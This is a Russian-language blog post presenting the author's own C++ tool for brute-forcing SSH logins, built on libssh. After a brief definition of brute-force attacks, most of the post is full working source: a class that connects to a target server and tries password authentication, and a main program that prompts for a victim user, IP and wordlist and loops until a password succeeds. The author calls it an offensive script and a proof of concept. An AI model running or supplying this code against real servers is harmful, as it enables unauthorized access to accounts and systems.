Брутфорс SSH с C++

Mar 11 2023
Введение Добро пожаловать в мою новую статью, сегодня я покажу вам свой скрипт C++ для выполнения SSH Brute Force Attacks. Что такое брутфорс? Информация от: Атака грубой силы — это метод взлома, который использует метод проб и ошибок для взлома паролей, учетных данных для входа и ключей шифрования.

Введение

Добро пожаловать в мою новую статью, сегодня я покажу вам свой скрипт C++ для выполнения SSH Brute Force Attacks.

Что такое брутфорс?

Информация от:

Атака полным перебором — это метод взлома, который использует метод проб и ошибок для взлома паролей, учетных данных для входа и ключей шифрования. Это простая, но надежная тактика для получения несанкционированного доступа к индивидуальным учетным записям, системам и сетям организаций. Хакер пробует несколько имен пользователей и паролей, часто используя компьютер для проверки широкого спектра комбинаций, пока не найдет правильную информацию для входа.

Название «грубая сила» происходит от злоумышленников, использующих чрезмерно силовые попытки получить доступ к учетным записям пользователей. Несмотря на то, что это старый метод кибератак, атаки грубой силы проверены и проверены и остаются популярной тактикой среди хакеров.

В этой ранее опубликованной статье я представил краткий обзор Hydra и того, как она работает для брутфорса SSH:

Гидра — Брутфорс

Код

Самое время посмотреть код, который я использовал для атаки SSH-серверов с помощью C++. Ниже приведен фрагмент файла класса для этого PoC:

#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"

using namespace std;
class SSHHost{
    public:
        string ip;
        string user;
SSHHost(string ip,string user){
            this->ip = ip;
            this->user = user;
        }
ssh_session SSHConnection(string ip, string user){
            yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
            ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
            if (rc != SSH_OK){
                red("\nServer connection unsuccesfull\n");
                cout<<"Error: "<<ssh_get_error(session) << endl;
            }
            else if(rc == 0){
                green("\nServer connection succesfull\n");
                return session;
            }
        }
int SSHAuth(ssh_session session,string user,string password){
            // Authentication
            int rc;
            rc = ssh_userauth_password(session, user.c_str(), password.c_str());
            if (rc != SSH_AUTH_SUCCESS){
            }
            else if (rc ==  SSH_AUTH_SUCCESS) {
                green("Authentication Completed with password: ");
                cout<<password<<"\n";
            }
            return rc;
        }
    
};

#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;

int main(){
    ssh_session session;
    int check;
    string ip;
    string user;
    string file;
    cout<<"Put the user to attack: ";
    cin>>user;
    cout<<"Put the IP of SSH Server to attack: ";   
    cin>>ip;
    cout<<"Put the Path of Wordlist File: ";
    cin>>file;
    vector<string> passwords = readPasswordsFromFile(file);
    SSHHost ssh_host(ip,user);
    session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
    for (int i = 0; i < passwords.size(); i++) {
        cout<<passwords[i]<<"\n";
    }
    for (int i = 0; i < passwords.size(); i++) {
        
        check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
        if(check == SSH_AUTH_SUCCESS){
            ssh_disconnect(session);
            break;
        }}
    return 0;
}

Основной файл запрашивает информацию о пользователе и IP-адресе для атаки, а затем выполняет другие функции.

Другие функции находятся в файле класса SSHHost и имеют два атрибута: пользователя и IP.

Затем есть метод конструктора, методы SSHConnection и SSHAuth . SSHConnection возвращает сеанс, который использовал SSHAuth .

PoC

Запустите скрипт и ответьте на запросы пользователя соответствующим образом:

Шаги, включенные в этот метод атаки, очень легко воспроизвести, и он является допустимым методом атаки в современном кибермире.

Вывод выше показывает обнаруженный пароль, указывающий на успешную атаку грубой силы…

Выводы

Это один из моих первых наступательных сценариев с использованием классов и объектов. Спасибо, что прочитали мою статью. Надеюсь, вам понравился контент!

С12.